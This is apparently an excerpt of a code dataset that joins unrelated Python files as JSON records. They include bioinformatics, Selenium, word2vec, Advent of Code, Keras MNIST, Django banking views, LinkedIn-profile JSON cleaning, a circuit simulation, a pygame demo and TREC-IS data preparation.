ng_lenpwm, ng_fwdpwm, ng_revpwm,\\\n fwdpwm, revpwm, scale_by_relent, ng_fwdseq_reps,\\\n ng_lenseq_reps, len( ng_lenseqs ), len( ng_fwdseqs))\n\n # result_analyze_matches is messy tuple containing\n # ([dict, dict, dict, dict, dict, dict, dict, dict, list, list, int, int])\n # So First, check that types are correct\n for i,t in enumerate([dict, dict, dict, dict, dict, dict, dict, dict, list, list, int, int]):\n assert isinstance(result_analyze_matches[i], t)\n field_names = [\"pwm\", \"npwm\", \"ng_lenpwm\", \"ng_fwdpwm\", \"ng_revpwm\", \"fwdpwm\",\n \"revpwm\", \"scale_by_relent\", \"ng_fwdseq_reps\", \"ng_lenseq_reps\",\n \"num_ng_lenseqs\", \"num_ng_fwdseqs\"]\n ES = namedtuple('ES', field_names)\n # Use namedtuple as an efficient way to drop tuple outputs\n # into a ordered dictionary\n result_analyze_matches_dict = ES(*result_analyze_matches)._asdict()\n # Now We Return Result in a Tidy Object: a StoreIOEntropy instance\n store_io_entropy = StoreIOEntropy(**result_analyze_matches_dict)\n return(store_io_entropy)\n\n\n def create_wtd_pwm_from_sequences(self, seqs, alphabet, target_reps, reps ):\n assert len(seqs) == len(reps)\n num_target_reps = len(target_reps)\n\n for bigrepeat in range(10):\n reppair_wts = {}\n if bigrepeat==0:\n for rp in reps:\n reppair_wts[rp] = 1.0 ## starting guess\n else:\n for rp in reps:\n reppair_wts[rp] = 0.75 + 0.5 * random.random() ## starting guess\n\n prev_dev = 1e6\n for repeat in range(100):\n\n ## what's the deviation\n dev = 0.0\n for ii in range(2):\n ii_target_reps = [x[ii] for x in target_reps]\n ii_reps = [x[ii] for x in reps]\n\n scale_factor = float( len(reps ) )/ len(target_reps)\n\n counts = {}\n for rp in reps:\n counts[rp[ii]] = counts.get(rp[ii],0) + reppair_wts[rp]\n\n for rep,count in counts.items():\n desired_count = scale_factor * ii_target_reps.count(rep)\n dev += abs( desired_count - count )\n fac = float(desired_count)/count\n adjust = fac**(0.25)\n\n #print 'desired_count:',desired_count,'count:',count,'fac:',fac,'adjust:',adjust,rep\n\n for rp in reppair_wts:\n if rp[ii] == rep:\n reppair_wts[rp] *= adjust\n #print 'repeat:',repeat,'dev:',dev\n if abs(prev_dev-dev)<1e-3 and dev<1e-1:\n #if abs(dev)<1e-1:\n break\n prev_dev = dev\n\n #print 'final_dev:', bigrepeat,dev\n if dev<1e-1:\n break\n\n\n L = len(seqs[0])\n pwm = {}\n for i in range(L):\n pwm[i] = dict(zip(alphabet,[0.0]*len(alphabet)))\n\n for seq,rp in zip( seqs, reps ):\n assert len(seq) == L\n seqwt = reppair_wts[ rp ]\n #print seq, rp, seqwt\n for i,a in enumerate(seq):\n pwm[i][a] += seqwt\n\n for i in range(L):\n tot = sum( pwm[i].values() )\n for a in alphabet:\n pwm[i][a] /= tot\n return pwm\n\n\n def _generate_vl_jl(self, chain):\n \"\"\"\n Parameters\n ----------\n chain : str\n\n Returns\n -------\n\n \"\"\"\n self.vl_nbr, self.jl_nbr = self._get_counts_lists_from_tcr_indices(self.matched_tcrs_plus_nbrs, chain)\n self.vl, self.jl = self._get_counts_lists_from_tcr_indices(self.matched_tcrs, chain)\n\n\n def _get_counts_lists_from_tcr_indices(self, indices, chain):\n vcounts = {}\n jcounts = {}\n for ii in indices:\n tcr = self.tcrs[ii]\n if chain in ['A',\"G\"]:\n vrep,jrep = tcr[6: 8]\n else:\n vrep,jrep = tcr[8:10]\n vcounts[vrep] = vcounts.get(vrep,0)+1\n jcounts[jrep] = jcounts.get(jrep,0)+1\n vstring = ','.join( ['{}:{}'.format(x,y) for x,y in vcounts.items()] )\n jstring = ','.join( ['{}:{}'.format(x,y) for x,y in jcounts.items()] )\n return self._get_counts_list_condensing_alleles(vstring, self.rep2label_rep, self.rep2label_rep_color),\\\n self._get_counts_list_condensing_alleles(jstring, self.rep2label_rep, self.rep2label_rep_color)\n\n\n def _get_counts_list_condensing_alleles(self, counts_string, rep2label_rep, rep2label_rep_color ):\n counts ={}\n for tag,count in [x.split(':') for x in counts_string.split(',') ]:\n rc = ( rep2label_rep[ tag ][4:], rep2label_rep_color[ tag ] )\n counts[rc] = counts.get(rc,0)+float(count)\n return [ (y,x[0],x[1]) for x,y in counts.items() ]\n \n def generate_background_set(self,\n chain = None,\n organism = None,\n max_ng_lines = None,\n db_file = None,\n ng_log_path = None,\n ng_log_file = None):\n \"\"\"ALLOW FULL CONTROL OVER NEXTGENE LOG FILES\n THIS IS A DUPLICATE OF CODE IN TCRMotif\"\"\"\n if chain is None:\n raise ValueError(\"chain must be specified as 'A' or 'B'\")\n if ng_log_path is None:\n raise ValueError(\"ng_log_path, for legacy behaivor try paths.path_to_current_db_files(db_file = 'alphabeta_db.tsv')\")\n if ng_log_file is None:\n raise ValueError(\"ng_log_file must be specified, for legacy try: 'new_nextgen_chains_{}_{}.tsv'.format(organism,ab)'\")\n \n if organism is None:\n organism = self.organism\n if max_ng_lines is None:\n max_ng_lines = self.max_ng_lines\n\n # initialize a ng_tcrs disctionary based on chains present\n #ng_tcrs = {k:{} for k in chain}\n \n ng_logfile = os.path.join(ng_log_path, ng_log_file)\n if not os.path.isfile(ng_logfile):\n raise OSError('find_cdr3_motifs.py: missing next-gen chains file {}'.format(ng_logfile))\n\n counter=0\n num_chains=0\n ab_chains = {}\n \n ab = chain \n for line in open(ng_logfile,'r'):\n counter+=1\n l = line[:-1].split('\\t')\n if counter==1:\n assert l==['v_reps','j_reps','cdr3','cdr3_nucseq']\n continue\n #if not counter%1000000:#Log(`counter`+' '+`num_chains`+' '+ng_logfile)\n if max_ng_lines and counter > max_ng_lines:\n break\n #v_reps = set( ( util.get_mm1_rep(x,organism) for x in l[0].split(',') ) )\n v_reps = set( ( self.all_genes[self.organism][x].mm1_rep for x in l[0].split(',') ) )\n j_reps = l[1].split(',')\n cdr3, cdr3_nucseq = l[2:4]\n\n ## now add to the different places\n for v_rep in v_reps:\n for j_rep in j_reps:\n if v_rep not in ab_chains: ab_chains[v_rep] = {}\n if j_rep not in ab_chains[v_rep]: ab_chains[v_rep][j_rep] = []\n ab_chains[v_rep][j_rep].append( (cdr3, cdr3_nucseq ))\n\n num_chains += 1\n ab_chains\n return ab_chains\n\n","repo_name":"kmayerb/tcrdist2","sub_path":"tcrdist/subset.py","file_name":"subset.py","file_ext":"py","file_size_in_byte":48779,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"72"} +{"seq_id":"10344986109","text":"from POM.base.base_page import BasePage\nfrom selenium.webdriver.common.by import By\nfrom selenium import webdriver\n\n#添加购物车页面对象\nclass ProductPage(BasePage):\n url=BasePage.url+'?s=/index/goods/index/id/2.html'\n #页面关联元素\n suite=(By.XPATH,'//li[@data-value=\"套餐一\"]')\n color=(By.XPATH,'//li[@data-value=\"金色\"]')\n memory=(By.XPATH,'//li[@data-value=\"32G\"]')\n addcart=(By.XPATH,'//button[@title=\"加入购物车\"]')\n #添加购物车操作行为\n def add_cart(self):\n self.wait(10)\n self.visit(url=self.url)\n self.click(self.suite)\n self.click(self.color)\n self.click(self.memory)\n self.click(self.addcart)\n\nif __name__=='__main__':\n driver=webdriver.Chrome()\n pg=ProductPage(driver)\n pg.add_cart()\n\n","repo_name":"tangtang20/project","sub_path":"POM/page_object/product_page.py","file_name":"product_page.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27023930118","text":"#!/usr/bin/env python3\n''' word2vec '''\nimport gensim\n\n\ndef word2vec_model(sentences, size=100, min_count=5, window=5, negative=5, cbow=True, iterations=5, seed=0, workers=1):\n '''\n creates and trains a gensim word2vec model\n :sentences: is a list of sentences to be trained on\n :size: is the dimensionality of the embedding layer\n :min_count: is the minimum number of occurrences of a word for use in training\n :window: is the maximum distance between the current and predicted word within a sentence\n :negative: is the size of negative sampling\n :cbow: is a boolean to determine the training type; True is for CBOW; False is for Skip-gram\n iterations is the number of iterations to train over\n :seed: is the seed for the random number generator\n :workers: is the number of worker threads to train the model\n '''\n model = gensim.models.Word2Vec(sentences, min_count=min_count,\n epochs=iterations, vector_size=size,\n window=window, negative=negative, seed=seed,\n sg=cbow, workers=workers)\n model.train(sentences, total_examples=model.corpus_count,\n epochs=model.epochs)\n return model\n","repo_name":"luisobregon21/holbertonschool-machine_learning","sub_path":"supervised_learning/0x0F-word_embeddings/2-word2vec.py","file_name":"2-word2vec.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"38533084450","text":"def listToString(ints): \r\n return ''.join([str(int) for int in ints])\r\n\r\ndef Part1():\r\n with open('day3.txt') as f:\r\n lines = f.readlines()\r\n\r\n size = len(lines[0]) - 1\r\n\r\n gamma = [None] * size\r\n epsilon = [None] * size\r\n\r\n for i in range(size):\r\n count_0 = 0\r\n count_1 = 0\r\n for line in lines:\r\n if line[i] == '0':\r\n count_0 += 1\r\n else:\r\n count_1 += 1\r\n\r\n if count_0 > count_1:\r\n gamma[i] = 0\r\n epsilon[i] = 1\r\n else:\r\n gamma[i] = 1\r\n epsilon[i] = 0\r\n\r\n gammaStr = listToString(gamma)\r\n epsilonStr = listToString(epsilon)\r\n\r\n gammaNr = int(gammaStr, 2)\r\n epsilonNr = int(epsilonStr, 2)\r\n\r\n print(gammaNr * epsilonNr)\r\n \r\ndef Part2():\r\n with open('day3.txt') as f:\r\n lines = f.readlines()\r\n\r\n size = len(lines[0]) - 1\r\n\r\n oxygenRatings = lines.copy()\r\n scrubberRatings = lines.copy()\r\n\r\n for i in range(size):\r\n if (len(oxygenRatings) == 1 and len(scrubberRatings) == 1):\r\n break;\r\n\r\n count_0 = 0\r\n count_1 = 0\r\n for line in oxygenRatings:\r\n if line[i] == '0':\r\n count_0 += 1\r\n else:\r\n count_1 += 1\r\n\r\n oxygenCopy = oxygenRatings.copy()\r\n\r\n if (len(oxygenRatings) > 1): \r\n if count_0 > count_1:\r\n for line in oxygenCopy:\r\n if (line[i] == '1'):\r\n oxygenRatings.remove(line)\r\n else:\r\n for line in oxygenCopy:\r\n if (line[i] == '0'):\r\n oxygenRatings.remove(line)\r\n\r\n count_0 = 0\r\n count_1 = 0\r\n for line in scrubberRatings:\r\n if line[i] == '0':\r\n count_0 += 1\r\n else:\r\n count_1 += 1\r\n\r\n scrubberCopy = scrubberRatings.copy()\r\n\r\n if (len(scrubberRatings) > 1):\r\n if count_1 >= count_0:\r\n for line in scrubberCopy:\r\n if (line[i] == '1'):\r\n scrubberRatings.remove(line)\r\n else:\r\n for line in scrubberCopy:\r\n if (line[i] == '0'):\r\n scrubberRatings.remove(line)\r\n\r\n gammaStr = listToString(oxygenRatings[0])\r\n epsilonStr = listToString(scrubberRatings[0])\r\n\r\n gammaNr = int(gammaStr, 2)\r\n epsilonNr = int(epsilonStr, 2)\r\n\r\n print(gammaNr * epsilonNr)\r\n\r\ndef main():\r\n # Part1()\r\n Part2()\r\nmain()\r\n","repo_name":"CristianTudor89/AdventOfCode-2021","sub_path":"Day 3/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28054017193","text":"\n'''\nCode implements multi-perceptron neural network to classify MNIST images of \nhandwritten digits using Keras and Theano. Based on code from\nhttps://www.packtpub.com/books/content/training-neural-networks-efficiently-using-keras \n'''\n\nimport numpy as np\nfrom tensorflow import keras\n\nfrom tensorflow import keras\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Activation\nfrom tensorflow.keras.optimizers import SGD\nfrom tensorflow.keras.datasets import mnist\nfrom tensorflow.keras.utils import to_categorical\n\n\ndef load_and_condition_MNIST_data():\n ''' loads and shapes MNIST image data ''' \n (X_train, y_train), (X_test, y_test) = mnist.load_data()\n print(\"\\nLoaded MNIST images\")\n X_train = X_train.astype('float32') #before conversion were uint8\n X_test = X_test.astype('float32')\n X_train.resize(len(y_train), 784) # 28 pix x 28 pix = 784 pixels\n X_test.resize(len(y_test), 784)\n print('\\nFirst 5 labels of MNIST y_train: ', y_train[:5])\n y_train_ohe = to_categorical(y_train) \n print('\\nFirst 5 labels of MNIST y_train (one-hot):\\n', y_train_ohe[:5])\n print('')\n return X_train, y_train, X_test, y_test, y_train_ohe\n\ndef define_nn_mlp_model(X_train, y_train_ohe):\n ''' defines multi-layer-perceptron neural network '''\n # available activation functions at:\n # https://keras.io/activations/\n # https://en.wikipedia.org/wiki/Activation_function\n # options: 'linear', 'sigmoid', 'tanh', 'relu', 'softplus', 'softsign'\n # there are other ways to initialize the weights besides 'uniform', too \n \n model = Sequential() # sequence of layers\n num_neurons_in_layer = 100 # number of neurons in a layer\n num_inputs = X_train.shape[1] # number of features (784)\n num_classes = y_train_ohe.shape[1] # number of classes, 0-9\n model.add(Dense(units=num_neurons_in_layer, \n input_shape=(num_inputs, ),\n kernel_initializer='uniform', \n bias_initializer='zeros',\n activation='relu')) \n model.add(Dense(units=num_neurons_in_layer, \n kernel_initializer='uniform', \n bias_initializer='zeros',\n activation='relu')) \n model.add(Dense(units=num_classes,\n kernel_initializer='uniform', \n bias_initializer='zeros',\n activation='softmax')) \n sgd = SGD(lr=0.001, decay=1e-7, momentum=.9) # using stochastic gradient descent \n model.compile(loss='categorical_crossentropy', optimizer=sgd, metrics=[\"accuracy\"] ) \n return model \n\ndef print_output(model, y_train, y_test, rng_seed):\n '''prints model accuracy results'''\n y_train_pred = model.predict_classes(X_train, verbose=0)\n y_test_pred = model.predict_classes(X_test, verbose=0)\n print('\\nRandom number generator seed: ', rng_seed)\n print('\\nFirst 30 labels: ', y_train[:30])\n print('First 30 predictions: ', y_train_pred[:30])\n train_acc = np.sum(y_train == y_train_pred, axis=0) / X_train.shape[0]\n print('\\nTraining accuracy: {0:0.2f}%'.format(train_acc * 100))\n test_acc = np.sum(y_test == y_test_pred, axis=0) / X_test.shape[0]\n print('Test accuracy: {0:0.2f}%'.format(test_acc * 100))\n\n\nif __name__ == '__main__':\n rng_seed = 2 # set random number generator seed\n X_train, y_train, X_test, y_test, y_train_ohe = load_and_condition_MNIST_data() \n np.random.seed(rng_seed)\n model = define_nn_mlp_model(X_train, y_train_ohe)\n model.fit(X_train, y_train_ohe, epochs=15, batch_size=100, verbose=1,\n validation_split=0.1) # cross val to estimate test error\n print_output(model, y_train, y_test, rng_seed)\n \n","repo_name":"josiah-d/data_science","sub_path":"solutions/perceptrons/mlp_soln.py","file_name":"mlp_soln.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"71553799914","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom decimal import Decimal\nfrom .models import Request\nfrom datetime import datetime\n\n\n# Unlike transactions, requests don't involve changing any\n# existing information, only adding something to the database.\n# This function handles all the data validation for user-entered data\ndef make_request(current_user, target_username, amount):\n # Make sure the requested user exists in the database\n try:\n target_user = User.objects.get(username=target_username)\n except Exception:\n raise Exception(\"Target user does not exist\")\n\n # Make sure the entered amount is a valid number\n try:\n amount = Decimal(amount)\n if amount < 0 or (amount * 100) % 1 > 0:\n raise Exception()\n except Exception:\n raise Exception(\"Invalid entered amount\")\n\n # Generate a new \"money request\" database entry\n new_request = Request(sender=current_user, receiver=target_user,\n time=datetime.now(), amount=amount)\n\n # Save it to the database\n new_request.save()\n\n\n# Renders the \"request money\" page, and processes user input\n# The \"request\" parameter is the HTTP request recieved from the user's device\n# The return value is a rendering of the page, an HttpResponse python object\ndef request_money(request):\n # As always, redirect elsewhere if the user isn't logged in\n if not request.user.is_authenticated:\n return redirect('index')\n\n # Unless otherwise indicated, there are no\n # errors and nothing has been sent\n context = {\n 'error': False,\n 'error_message': \"\",\n 'sent': False\n }\n\n # POST means the user gave us some information in the form,\n # so we gotta parse it and potentially update the database\n # with the new request\n if request.method == 'POST':\n try:\n # Grab from the form the person from\n # which the user is requesting money\n target_username = request.POST.get('target user field', None)\n\n # Grab the amount of money they would like to request\n amount = request.POST.get('amount field', None)\n\n # Generate the request and add it to the database if valid\n make_request(request.user, target_username, amount)\n\n # If we make it here, there weren't any exceptions.\n # That means it worked, so we can let the user know\n context['sent'] = True\n\n except Exception as e:\n # Something went wrong\n # Notify the user what it is, and print it to the console too\n context['error'] = True\n context['error_message'] = str(e)\n print(e)\n\n # If it wasn't a POST request, the initial context is displayed as-is\n # If it was a POST request, the contex would be modified in some way\n return render(request, 'request_money/request_money.html', context)\n\n\n# Renders the \"view requests\" page, and processes user input\n# The \"request\" parameter is the HTTP request recieved from the user's device\n# The return value is a rendering of the page, an HttpResponse python object\ndef view_requests(request, account_number=None):\n # As always, redirect elsewhere if the user isn't logged in\n if not request.user.is_authenticated:\n return redirect('index')\n\n # The only POST information is whether they\n # pushed one of the delete buttons\n if request.method == \"POST\":\n try:\n # Get the id of the request they selected to delete\n delete_id = request.POST.get('delete', None)\n\n # Make sure that the user actually clicked the button\n # and didn't post some other way\n if delete_id is not None:\n # Get the database entry with that id\n to_delete = Request.objects.get(id=delete_id)\n\n # Users can only delete requests made to them\n # Just a safety precausion; shouldn't actually come up\n # in proper use of the system.\n if to_delete.receiver == request.user:\n # Remove it from the database\n to_delete.delete()\n\n except Exception as e:\n # If something goes wrong, dump it in the\n # console but don't change anything\n print(e)\n\n # Get all the requests made TO the currently logged-in user\n requests = Request.objects.filter(receiver=request.user).order_by('id')\n\n # Render the page with those requests in the table\n context = {'requests': requests}\n return render(request, 'request_money/view_requests.html', context)\n","repo_name":"Mesaj2000/Banking-Application","sub_path":"bankapp_project/request_money/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33919236703","text":"import os\nimport time\nimport sys\nimport json\nimport jsonpath\nimport traceback\n\nfrom datetime import datetime\nfrom threading import Thread\n\ndef read_settings():\n settings = []\n if os.path.exists(\"settings_clean.json\"):\n with open(\"settings_clean.json\", \"r\", encoding=\"utf-8\") as r:\n text = r.read()\n #text = text[1:]\n settings = json.loads(text)\n return settings\n\n\ndef split(file, country, number):\n\n if not os.path.exists(file):\n print(\"File {0} doesn't exists, do nothing...\".format(file))\n\n if not os.path.exists(country):\n os.mkdir(country)\n \n print(\"Now spliting file {0} into smaller batches, {1} lines per batch.\".format(file, number))\n spliter = \"\\\\\" if \"win32\" in sys.platform else \"/\"\n batch_file_name = file.split(spliter)[-1].replace(\".json\", \"\")\n\n current_files = list(os.listdir(country))\n # remove previous files (xlsx)\n results_previous_run = [t for t in current_files if t.endswith(\"xlsx\")]\n for t in results_previous_run:\n full_name = \"{0}{1}{2}\".format(country, spliter, t)\n os.remove(full_name)\n # try to find the smaller batch files (smaller json)\n batch_files = [t for t in os.listdir(country) if t.startswith(\"{0}_\".format(batch_file_name)) and t.endswith(\".json\")]\n if len(batch_files) > 0:\n print(\">>> File {0} is already split into smaller batches, do nothing for now.\".format(file))\n return\n\n cache = []\n batch_idx = 1\n with open(file, \"r\", encoding=\"utf8\") as f:\n for line in f:\n l = line.strip()\n if len(l) == 0:\n continue\n #if '\"linkedin_connections\":null' in l:\n # continue\n \n cache.append(l)\n if len(cache) == number:\n batch_file = \"{0}/{1}_{2}.json\".format(country, batch_file_name, batch_idx)\n with open(batch_file, \"w\", encoding=\"utf8\") as w:\n w.write(\"\\n\".join(cache))\n print(\"Batch {0} saved.\".format(batch_file))\n batch_idx += 1\n cache = []\n\n if len(cache) > 0:\n batch_file = \"{0}/{1}_{2}.json\".format(country, batch_file_name, batch_idx)\n with open(batch_file, \"w\", encoding=\"utf8\") as w:\n w.write(\"\\n\".join(cache))\n print(\"Batch {0} saved.\".format(batch_file))\n\n\ndef split_files():\n\n start_date = datetime.now()\n print(\">>> Split process started at {0}.\".format(start_date))\n\n settings = read_settings()\n filtered_folder = []\n for setting in settings:\n spliter = \"\\\\\" if \"win32\" in sys.platform else \"/\"\n input_folder = setting[\"input_folder\"]\n batch_size = setting[\"batch_size\"]\n input_files = [\"{0}{1}{2}\".format(input_folder, spliter, t) for t in os.listdir(input_folder) if t.endswith(\".json\")]\n print(\">>> There are {0} files to split in input folder...\".format(len(input_files)))\n for input_file in input_files:\n print(\"> Start split file {0}.\".format(input_file))\n split(input_file, setting[\"country_name\"], batch_size)\n\n print(\">>> Start clean data by linkedin_connections...\")\n folder = setting[\"country_name\"]\n if folder not in filtered_folder:\n filter_files(setting)\n filtered_folder.append(setting[\"country_name\"])\n else:\n print(\"\\r\\n>>> Folder {0} is already processed, don't repeat!\\r\\n\".format(folder))\n\n end_date = datetime.now()\n print(\"Split process ended at {0}. Time cost: {1}.\".format(end_date, (end_date - start_date)))\n\n\ndef filter_files(setting):\n spliter = \"\\\\\" if \"win32\" in sys.platform else \"/\"\n input_folder = setting[\"input_folder\"]\n threads = setting[\"spliter_thread\"]\n connections_number = setting[\"connections\"]\n country_folder = setting[\"country_name\"]\n files = [t for t in os.listdir(country_folder) if t.endswith(\".json\")]\n files = [\"{0}{1}{2}\".format(country_folder, spliter, t) for t in files]\n thread_list = []\n while True:\n if len(files) == 0:\n break\n\n if len(thread_list) < threads:\n file = files[0]\n files.remove(file)\n thread = Thread(target=filter_a_file, args=(file, connections_number, ), name=file.split(spliter)[-1])\n thread.start()\n print(\"Thread {0} is started.\".format(thread.name))\n thread_list.append(thread)\n \n thread_list = [t for t in thread_list if t.is_alive()]\n print(\"{0} converting threads running...\".format(len(thread_list)))\n time.sleep(5)\n\n while True:\n thread_list = [t for t in thread_list if t.is_alive()]\n print(\"{0} converting threads running...\".format(len(thread_list)))\n time.sleep(5)\n if len(thread_list) == 0:\n print(\"No acitve threads, stop!\")\n break\n\n\ndef filter_a_file(file_name, connection_number):\n new_lines = []\n with open(file_name, \"r\", encoding=\"utf8\") as f:\n for line in f:\n try:\n data_json = None\n try:\n data_json = json.loads(line.strip(), strict=False)\n except:\n print(\"\\r\\n\\r\\n\")\n print(\"Failed to load json, skip this people...\")\n print(line)\n print(\"\\r\\n\\r\\n\")\n continue\n\n if data_json[\"linkedin_connections\"] is None:\n line = process_email(line, data_json)\n new_lines.append(line.strip())\n continue\n if data_json[\"linkedin_connections\"] >= connection_number:\n line = process_email(line, data_json)\n new_lines.append(line.strip())\n except:\n print(traceback.format_exc())\n continue\n with open(file_name, \"w\", encoding=\"utf8\") as w:\n w.write(\"\\n\".join(new_lines))\n\n\ndef process_email(line, data_json):\n #data_json = json.loads(line.strip())\n job_company_website_node = jsonpath.jsonpath(data_json, \"$.job_company_website\")\n if job_company_website_node == False:\n return line\n company_website = job_company_website_node[0]\n if company_website is None or len(company_website) == 0:\n return line\n company_website = company_website.lower()\n work_email_node = jsonpath.jsonpath(data_json, \"$.work_email\")\n work_email = \"\" if work_email_node == False else work_email_node[0]\n professional_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type=='professional')].address\")\n professional_email = \"\" if professional_email_node == False else professional_email_node[0]\n current_professional_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type=='current_professional')].address\")\n current_professional_email = \"\" if current_professional_email_node == False else current_professional_email_node[0]\n personal_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type=='personal')].address\")\n personal_email = \"\" if personal_email_node == False else personal_email_node[0]\n none_type_email_node = jsonpath.jsonpath(data_json, \"$.emails[?(@.type==None)].address\")\n none_type_email = \"\" if none_type_email_node == False else none_type_email_node[0]\n other_emails = [professional_email, current_professional_email, personal_email, none_type_email]\n other_emails = [t for t in other_emails if t is not None and \"@\" in t]\n\n if work_email is not None and len(work_email) > 0:\n domain = work_email.split('@')[-1].lower()\n if domain in company_website:\n print(\"Email {0} match website {1}, don't change...\".format(work_email, company_website))\n return line\n else:\n if len(other_emails) == 0:\n return line\n else:\n for email in other_emails:\n domain = email.split('@')[-1].lower()\n if domain in company_website:\n print(\"Change work email from {0} to {1}.\".format(work_email, email))\n data_json[\"work_email\"] = email\n new_line = json.dumps(data_json)\n return new_line\n\n else:\n if len(other_emails) == 0:\n return line\n else:\n for email in other_emails:\n domain = email.split('@')[-1].lower()\n if domain in company_website:\n print(\"Change work email from {0} to {1}.\".format(work_email, email))\n data_json[\"work_email\"] = email\n new_line = json.dumps(data_json)\n return new_line\n return line\n \n\n\nsplit_files()\n\n","repo_name":"antnguyen72/Personal-Projects","sub_path":"Python Projects/Project Alpha/linkedin_search_allinone/spliter_standalone.py","file_name":"spliter_standalone.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37783168938","text":"#!/usr/bin/python\r\n\r\nimport math\r\n\r\nN = 1000\r\n\r\n\r\ndef sum(N,funkcia):\r\n sum = 0\r\n for i in range(N):\r\n sum+= funkcia(i)\r\n return sum\r\n\r\ndef save(f, funkcia):\r\n t0 = -math.pi\r\n t1 = math.pi\r\n for i in range(N+1):\r\n x = (float(i)/N * (t1-t0) +t0)\r\n y = funkcia(x);\r\n f.write(\"%.6f %.6f\\n\" %(x, y))\r\n\r\ndef clen(w, rc,t):\r\n if w==0:\r\n return 0.5\r\n if w%2 == 0:\r\n return 0\r\n return 2/math.pi/w * (math.sin(w*t) - w*rc*math.cos(w*t))/(1+w*w*rc*rc)\r\n\r\nsave(open('rc_priebeh_01.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 0.1, y)))\r\n\r\nsave(open('rc_priebeh_05.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 0.5, y)))\r\n\r\nsave(open('rc_priebeh_10.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 1.0, y)))\r\n\r\nsave(open('rc_priebeh_20.dat', 'w'), \r\n lambda t:sum(100, lambda x,y=t: clen(x, 2.0, y)))\r\n","repo_name":"ppershing/ppershing-bsc-thesis","sub_path":"tags/bakalarka_final/src/obrazky/fyzika/rlc/rc_priebeh.py","file_name":"rc_priebeh.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20533802180","text":"#Pygame Experimentation\r\nimport sys, pygame\r\n\r\npygame.init() #Initialises pygame\r\n\r\nsize = width, height = 2100, 900 #Dimensions for screen in size variable\r\nspeed = [2,2] #Sets speed of ball\r\n\r\nblack = 0, 0, 0 #RGB Value for Black\r\n\r\nscreen = pygame.display.set_mode(size) #Setups a screen\r\n\r\nball = pygame.image.load(\"DVD_logo.svg.png\") #Defines ball variable to store the image of the ball\r\nballrect = ball.get_rect()\r\n\r\nwhile True: #Infinite Loop\r\n for event in pygame.event.get(): #Searches through the possible events in pygame events\r\n if event.type == pygame.QUIT: sys.exit() #If the event type is quit then it terminates the execution\r\n\r\n ballrect = ballrect.move(speed) #Moves the ball\r\n if ballrect.left < 0 or ballrect.right > width: #If the ball is beyound boundaries then it inverts the direction\r\n speed[0] = -speed[0] \r\n elif ballrect.top < 0 or ballrect.bottom > height:\r\n speed[1] = -speed[1]\r\n\r\n\r\n screen.fill(black)\r\n screen.blit(ball, ballrect)\r\n pygame.display.flip()\r\n","repo_name":"DonaldJennings/DVD-Loader","sub_path":"DVD Animation.py","file_name":"DVD Animation.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9567828790","text":"import json\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nfrom pandas.io.json import json_normalize\nimport os\nimport time\nimport re\nimport html\n\n# You have to follow instructions here : http://dcs.gla.ac.uk/~richardm/TREC_IS/2020/data.html (if no changes)\n# and download 'trecis2018-test', 'trecis2018-train', 'trecis2019-A-test' and 'trecis2019-B-test' sets'\n\n# Map TREC IS annotators event labels to event label\nd_map = {'costaRicaEarthquake2012':'costaRicaEarthquake2012',\n\t\t'fireColorado2012':'fireColorado2012',\n\t\t'floodColorado2013':'floodColorado2013',\n\t\t'typhoonPablo2012':'typhoonPablo2012',\n\t\t'laAirportShooting2013':'laAirportShooting2013',\n\t\t'westTexasExplosion2013':'westTexasExplosion2013',\n\t\t'guatemalaEarthquake2012':'guatemalaEarthquake2012',\n\t\t'bostonBombings2013':'bostonBombings2013',\n\t\t'flSchoolShooting2018':'flSchoolShooting2018',\n\t\t'chileEarthquake2014':'chileEarthquake2014',\n\t\t'joplinTornado2011':'joplinTornado2011',\n\t\t'typhoonYolanda2013':'typhoonYolanda2013',\n\t\t'queenslandFloods2013':'queenslandFloods2013',\n\t\t'nepalEarthquake2015S3':'nepalEarthquake2015',\n\t\t'nepalEarthquake2015':'nepalEarthquake2015',\n\t\t'australiaBushfire2013':'australiaBushfire2013',\n\t\t'philipinnesFloods2012':'philipinnesFloods2012',\n\t\t'albertaFloods2013':'albertaFloods2013',\n\t\t'nepalEarthquake2015S2':'nepalEarthquake2015',\n\t\t'typhoonHagupit2014S2':'typhoonHagupit2014',\n\t\t'manilaFloods2013':'manilaFloods2013',\n\t\t'parisAttacks2015':'parisAttacks2015',\n\t\t'italyEarthquakes2012':'italyEarthquakes2012',\n\t\t'typhoonHagupit2014':'typhoonHagupit2014',\n\t\t'typhoonHagupit2014S1':'typhoonHagupit2014',\n\t\t'nepalEarthquake2015S4':'nepalEarthquake2015',\n\t\t'nepalEarthquake2015S1':'nepalEarthquake2015',\n\t\t'floodChoco2019':'floodChoco2019',\n\t\t'earthquakeCalifornia2014':'earthquakeCalifornia2014',\n\t\t'shooti